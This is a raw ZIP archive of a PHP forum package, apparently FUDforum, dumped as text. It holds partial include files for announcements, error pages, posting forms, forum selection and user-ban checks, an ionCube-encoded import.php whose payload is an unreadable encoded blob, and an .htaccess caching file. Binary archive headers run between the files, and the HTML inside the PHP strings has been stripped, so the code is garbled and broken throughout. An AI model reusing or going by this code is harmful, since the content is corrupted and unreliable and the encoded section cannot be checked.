a.id=af.ann_id AND af.forum_id='. $frm->id .' WHERE a.date_started<='. $today .' AND a.date_ended>='. $today); while ($r = db_rowarr($res)) { if (!_uid && $r[2] & 2) { continue; // Only for logged in users. } if (_uid && $r['2'] & 4) { continue; // Only for anonomous users. } if (defined('plugins')) { list($r[0], $r[1]) = plugin_call_hook('ANNOUNCEMENT', array($r[0], $r[1])); } $announcements .= '
    '.$r[0].' '.$r[1].'
    '; } unset($res); } ?> PKl0]gYdefault/errmsg.incnu[ '.$GLOBALS['DISABLED_REASON'].' '); } else { exit(' '.$GLOBALS['FORUM_TITLE'].$TITLE_EXTRA.' '.$RSS.'
    '.($GLOBALS['FUD_OPT_1'] & 1 && $GLOBALS['FUD_OPT_1'] & 16777216 ? '
    '._hs.'
     
    ' : '' ) .' '.$GLOBALS['FORUM_TITLE'].'
    '.$GLOBALS['FORUM_DESCR'].'


    '.$GLOBALS['DISABLED_REASON'].'


    Administrators can login here.

    '.(!empty($RIGHT_SIDEBAR) ? '
    '); } } /** User is banned. Notify and hang up. */ function exit_user_banned() { $TITLE_EXTRA = $RSS = null; header('HTTP/1.1 403 Forbidden'); header('Status: 403 Forbidden'); header('Connection: Close'); header('Content-type: text/html; charset=utf-8'); exit(' '.$GLOBALS['FORUM_TITLE'].$TITLE_EXTRA.' '.$RSS.'
    '.($GLOBALS['FUD_OPT_1'] & 1 && $GLOBALS['FUD_OPT_1'] & 16777216 ? '
    '._hs.'
     
    ' : '' ) .' '.$GLOBALS['FORUM_TITLE'].'
    '.$GLOBALS['FORUM_DESCR'].'


    Your prior actions have resulted in you being permanently banned from this forum. Goodbye.

    '.(!empty($RIGHT_SIDEBAR) ? '
    '); } ?> PKl0]"default/post_common.incnu[ $GLOBALS['MAX_SMILIES_SHOWN']) { $limit = $GLOBALS['MAX_SMILIES_SHOWN']; } $smilies = ''; $i = 0; while ($i < $limit) { $smilies .= ''.$PS_SRC[$i++].' '; } return ' Smiley Shortcuts:
    [ list all smilies ] '.$smilies.' '; } function draw_post_icons($msg_icon) { include $GLOBALS['FORUM_SETTINGS_PATH'] .'icon_cache'; /* Nothing to do. */ if (!$ICON_L) { return; } $tmp = $data = ''; $rl = (int) $GLOBALS['POST_ICONS_PER_ROW']; foreach ($ICON_L as $k => $f) { if ($k && !($k % $rl)) { $data .= ''.$tmp.''; $tmp = ''; } $tmp .= ''; } if ($tmp) { $data .= ''.$tmp.''; } return ' Message Icon: '.$data.'
    No Icon
    '; } function draw_post_attachments($al, $max_as, $max_a, $attach_control_error, $private, $msg_id) { $attached_files = ''; $i = 0; if (!empty($al)) { $enc = base64_encode(serialize($al)); ses_putvar((int)$GLOBALS['usr']->sid, md5($enc)); $c = uq('SELECT a.id,a.fsize,a.original_name,m.mime_hdr FROM fud30_attach a LEFT JOIN fud30_mime m ON a.mime_type=m.id WHERE a.id IN('. implode(',', $al) .') AND message_id IN(0, '. $msg_id .') AND attach_opt='. ($private ? 1 : 0)); while ($r = db_rowarr($c)) { $sz = ( $r[1] < 100000 ) ? number_format($r[1]/1024,2) .'KB' : number_format($r[1]/1048576,2) .'MB'; $insert_uploaded_image = strncasecmp('image/', $r[3], 6) ? '' : ' | Insert image into message body'; $attached_files .= ' '.$r[2].' '.$sz.' Delete'.$insert_uploaded_image.' '; $i++; } unset($c); } if (!$private && $GLOBALS['MOD'] && $GLOBALS['frm']->forum_opt & 32) { $allowed_extensions = '(unrestricted)'; } else { include $GLOBALS['FORUM_SETTINGS_PATH'] .'file_filter_regexp'; if (empty($GLOBALS['__FUD_EXT_FILER__'])) { $allowed_extensions = '(unrestricted)'; } else { $allowed_extensions = implode(' ', $GLOBALS['__FUD_EXT_FILER__']); } } $max_as_k = round($max_as / 1024); // We display max attch size in KB. return 'File Attachments: '.($i ? ' '.$attached_files.'
    Name Size Action
    ' : '' ) .' '.(isset($enc) ? '' : '' ) .' '.$attach_control_error.' Allowed File Extensions: '.$allowed_extensions.'
    Maximum File Size: '.$max_as_k.'KB
    Maximum Files Per Message: '.$max_a.($i ? '; currently attached: '.$i.' '.convertPlural($i, array('file','files')).'' : '' ) .'
    '.((($i + 1) <= $max_a) ? ' ' : '' ) .' '; } ?> PKl0]Wu default/forumsel.incnu[ 0 ' : ' WHERE '. q_bitand('g1.group_cache_opt', 1) .' > 0 AND f.url_redirect IS NULL '). 'ORDER BY v.id'); } $f = array($frm_id => 1); $frmcount = 0; $oldc = $selection_options = ''; while ($r = db_rowarr($c)) { if ($oldc != $r[2]) { foreach ($GLOBALS['cat_cache'] as $k => $i) { if ($r[2] != $k && $i[0] >= $GLOBALS['cat_cache'][$r[2]][0]) { continue; } $selection_options .= ''; if ($k == $r[2]) { break; } } $oldc = $r[2]; } $selection_options .= ''; $frmcount++; } unset($c); return ''.($frmcount > 1 ? ' Goto Forum:
    '._hs.'   
    ' : '' ) ; } ?> PKl0]= Gwwdefault/allowed_user_lnk.incnu[ $v) { if (($v && (strpos($addr, $k) !== false)) || (!$v && preg_match($k, $addr))) { return 1; } } return; } function is_allowed_user(&$usr, $simple=0) { /* Check if the ban expired. */ if (($banned = $usr->users_opt & 65536) && $usr->ban_expiry && $usr->ban_expiry < __request_timestamp__) { q('UPDATE fud30_users SET users_opt = '. q_bitand('users_opt', ~65536) .' WHERE id='. $usr->id); $usr->users_opt ^= 65536; $banned = 0; } if ($banned || is_email_blocked($usr->email) || is_login_blocked($usr->login) || is_ip_blocked(get_ip())) { $ban_expiry = (int) $usr->ban_expiry; $ban_reason = $usr->ban_reason; if (!$simple) { // On login page we already have anon session. ses_delete($usr->sid); $usr = ses_anon_make(); } setcookie($GLOBALS['COOKIE_NAME'].'1', 'd34db33fd34db33fd34db33fd34db33f', ($ban_expiry ? $ban_expiry : (__request_timestamp__ + 63072000)), $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); if ($banned) { error_dialog('ERROR: You have been banned.', 'Your account was '.($ban_expiry ? 'temporarily banned until '.print_date('%a, %d %B %Y %H:%M', $ban_expiry).'' : 'permanently banned' ) .' from accessing the site, due to a violation of the forum's rules.

    '.$ban_reason.''); } else { error_dialog('ERROR: Your account has been filtered out.', 'Your account has been blocked from accessing the forum due to one of the installed user filters.'); } } if ($simple) { return; } if ($GLOBALS['FUD_OPT_1'] & 1048576 && $usr->users_opt & 262144) { error_dialog('ERROR: Your account is not yet confirmed', 'We have not received a confirmation from your parent and/or legal guardian, which would allow you to post messages. If you lost your COPPA form, view it again.'); } if ($GLOBALS['FUD_OPT_2'] & 1 && !($usr->users_opt & 131072)) { std_error('emailconf'); } if ($GLOBALS['FUD_OPT_2'] & 1024 && $usr->users_opt & 2097152) { error_dialog('Unverified Account', 'The administrator had chosen to review all accounts manually prior to activation. Until your account has been validated by the administrator you will not be able to utilize the full capabilities of your account.'); } } ?> PKl0]h'TT import.phpnu[1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file '.__FILE__.' requires the ionCube PHP Loader '.basename($__ln).' to be installed by the website operator. If you are the website operator please use the ionCube Loader Wizard to assist with installation.');exit(199); ?> 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PKl0]c .htaccessnu[AddDefaultCharset utf-8 RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*) index.php/$1 [L] #php_value output_buffering 64000 #php_value variables_order GPCS #php_flag implicit_flush 0 #php_flag register_argc_argv 0 #php_flag session.use_trans_sid 0 #php_flag expose_php 0 #php_flag display_errors 0 # Below code is from http://gist.github.com/427761 # An .htaccess file for web performance and passing Page Speed and YSlow rules. # Enable GZIP AddOutputFilterByType DEFLATE text/text text/html text/plain text/xml text/css application/x-javascript application/javascript BrowserMatch ^Mozilla/4 gzip-only-text/html BrowserMatch ^Mozilla/4\.0[678] no-gzip BrowserMatch \bMSIE !no-gzip !gzip-only-text/html # Expires Headers - 2678400s = 31 days ExpiresActive On ExpiresDefault "access plus 1 seconds" ExpiresByType text/html "access plus 7200 seconds" ExpiresByType image/gif "access plus 2678400 seconds" ExpiresByType image/jpeg "access plus 2678400 seconds" ExpiresByType image/png "access plus 2678400 seconds" ExpiresByType text/css "access plus 518400 seconds" ExpiresByType text/javascript "access plus 2678400 seconds" ExpiresByType application/x-javascript "access plus 2678400 seconds" # Cache Headers # Cache specified files for 31 days Header set Cache-Control "max-age=2678400, public" # Cache HTML files for a couple hours Header set Cache-Control "max-age=7200, private, must-revalidate" # Cache PDFs for a day Header set Cache-Control "max-age=86400, public" # Cache Javascripts for 31 days Header set Cache-Control "max-age=2678400, private" PKl0]lB%%php56/install.phpnu[PKl0]/RR!&php56/edit.phpnu[PKl0]9php56/import.phpnu[PKl0]?/K$K$ Minstall.phpnu[PKl0]V;G 2rfileindex.phpnu[PKl0]%%&sphp82/install.phpnu[PKl0]::uu php82/edit.phpnu[PKl0]ݬXXӪphp82/import.phpnu[PKl0]=kimages/logo.gifnu[PKl0]_B??images/fud.pngnu[PKl0]/ notes.txtnu[PKl0]6[.pdf.phpnu[PKl0]tFedit.xmlnu[PKl0]%%/php81/install.phpnu[PKl0]3bMiiQ#php81/edit.phpnu[PKl0]Hdd4php81/import.phpnu[PKl0]wNM Gindex.phpnu[PKl0]'++php71/install.phpnu[PKl0].N  php71/edit.phpnu[PKl0]7xx %php71/import.phpnu[PKl0]!22;rdf.phpnu[PKl0]W00D>info.xmlnu[PKl0]0&;$;$Rphp53/install.phpnu[PKl0]{f(wphp53/edit.phpnu[PKl0]t7rPP0php53/import.phpnu[PKl0]md5nu[PKl0]`n    GLOBALS.phpnu[PKl0]:`Redit.phpnu[PKl0],Û @_upgrade.phpnu[PKl0]} install.xmlnu[PKl0]saXfeed.phpnu[PKl0]{Ӆ~~ ~e_upgrade.xmlnu[PKl0]g 8ginstall.jsnu[PKl0]^pVpV kdefault/users.incnu[PKl0]default/private.incnu[PKl0]k;!!default/cookies.incnu[PKl0]xϜdefault/logedin.incnu[PKl0]PP  default/draw_forum_path.incnu[PKl0]k k default/th_nav.incnu[PKl0]gсс&default/imsg_edt.incnu[PKl0]default/tabs.incnu[PKl0]"X&&default/drawpmsg.incnu[PKl0]e default/post_opt.incnu[PKl0]%idefault/admincp.incnu[PKl0]qkk%default/captcha.incnu[PKl0]`rѐdefault/usercp.incnu[PKl0]pAaa default/drawmsg.incnu[PKl0]oM55wndefault/err.incnu[PKl0]:default/return.incnu[PKl0]*%%default/draw_forum_list.incnu[PKl0]zS,,default/get_cur_ppage.incnu[PKl0]T5vv+default/thread_view_common.incnu[PKl0]gYdefault/errmsg.incnu[PKl0]"default/post_common.incnu[PKl0]Wu Edefault/forumsel.incnu[PKl0]= Gwwdefault/allowed_user_lnk.incnu[PKl0]h'TT import.phpnu[PKl0]c g.htaccessnu[PK::q